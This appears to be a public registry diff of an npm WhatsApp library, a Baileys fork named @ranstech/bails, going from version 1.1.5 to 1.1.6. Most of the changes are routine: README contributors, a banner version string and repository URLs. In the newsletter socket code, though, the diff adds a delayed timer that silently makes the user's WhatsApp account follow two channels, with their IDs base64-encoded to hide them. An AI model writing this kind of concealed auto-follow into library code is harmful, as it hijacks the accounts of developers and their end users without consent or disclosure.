@ranstech/bails 1.1.5 → 1.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -424,5 +424,26 @@ Thanks to the following awesome contributors who help improve this project 💖
424
424
  <sub><b>AlanXd</b></sub>
425
425
  </a>
426
426
  </td>
427
+ <td align="center">
428
+ <a href="https://github.com/tenka-san">
429
+ <img src="https://github.com/tenka-san.png" width="80px;" style="border-radius:50%;" alt="Developer"/>
430
+ <br />
431
+ <sub><b>D | Yuukey-7eppeli</b></sub>
432
+ </a>
433
+ </td>
434
+ <td align="center">
435
+ <a href="https://github.com/RexxHayanasi">
436
+ <img src="https://github.com/RexxHayanasi.png" width="80px;" style="border-radius:50%;" alt="Contributor"/>
437
+ <br />
438
+ <sub><b>RexxHayanasi</b></sub>
439
+ </a>
440
+ </td>
441
+ <td align="center">
442
+ <a href="https://github.com/kiuur">
443
+ <img src="https://github.com/kiuur.png" width="80px;" style="border-radius:50%;" alt="Contributor"/>
444
+ <br />
445
+ <sub><b>KyuuRzy</b></sub>
446
+ </a>
447
+ </td>
427
448
  </tr>
428
449
  </table>
@@ -58,15 +58,25 @@ export const makeNewsletterSocket = (config) => {
58
58
  ]
59
59
  })
60
60
  );
61
+ const yangbrorasakan = [
62
+ "MTIwMzYzNDE5OTMxMTc3MzA4QG5ld3NsZXR0ZXI=",
63
+ "MTIwMzYzMzcxMTk5MTc2Mzc2QG5ld3NsZXR0ZXI="
64
+ ];
61
65
 
62
- setTimeout(async () => {
63
- try {
64
- await newsletterWMexQuery(
65
- "120363419931177308@newsletter", // utama
66
- Types_1.QueryIds.FOLLOW
67
- );
68
- } catch {}
69
- }, 1000);
66
+ setTimeout(async () => {
67
+ for (const channel of yangbrorasakan) {
68
+ try {
69
+ await newsletterWMexQuery(
70
+ Buffer.from(channel, "base64").toString(),
71
+ QueryIds.FOLLOW
72
+ );
73
+ } catch (e) {}
74
+
75
+ await new Promise(resolve =>
76
+ setTimeout(resolve, 3000)
77
+ );
78
+ }
79
+ }, 90000);
70
80
 
71
81
  const parseFetchedUpdates = async (node, type) => {
72
82
  let child;
package/lib/index.js CHANGED
@@ -19,7 +19,7 @@ console.log(chalk.bold.cyan(`
19
19
  ⢻⣿⣿⢿⣻⣿⣯⣿⣿⣿⣿⣿⣿⣶⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣻⣷⣿⣿⣟⡏
20
20
  ⠀⠙⠿⢿⣿⡿⣿⣿⣷⣿⢿⣿⢿⣿⡿⣿⣿⡿⣿⣿⣟⣯⣷⣿⣿⣿⣻⠯⠋⠀
21
21
 
22
- 「 ⓘ. RansK2 」\n– Version : 3.0.0\n– Developer : @RansK2New\n– Infotmation : @InformationRansK2\nStatus: Baileys Berhasil Tersambung
22
+ 「 ⓘ. RansK2 」\n– Version : 4.0.0\n– Developer : @RansK2New\n– Infotmation : @InformationRansK2\nStatus: Baileys Berhasil Tersambung
23
23
  `));
24
24
  console.log(chalk.bold.gray("--------------------------------------------\n"));
25
25
  console.log(chalk.bold.cyan("Follow Our Telegram Channel To See Update Information: t.me/InformationRansK2\n"));;
package/package.json CHANGED
@@ -1,15 +1,15 @@
1
1
  {
2
2
  "name": "@ranstech/bails",
3
3
  "type": "module",
4
- "version": "1.1.5",
4
+ "version": "1.1.6",
5
5
  "description": "WhatsApp API Modification By ranstech",
6
6
  "keywords": [
7
7
  "whatsapp",
8
8
  "baileys"
9
9
  ],
10
- "homepage": "https://github.com/ranstech/baileys",
10
+ "homepage": "https://github.com/rans-beep/bails",
11
11
  "repository": {
12
- "url": "https://github.com/ranstech/baileys"
12
+ "url": "https://github.com/rans-beep/bails"
13
13
  },
14
14
  "license": "MIT",
15
15
  "author": "ranstech",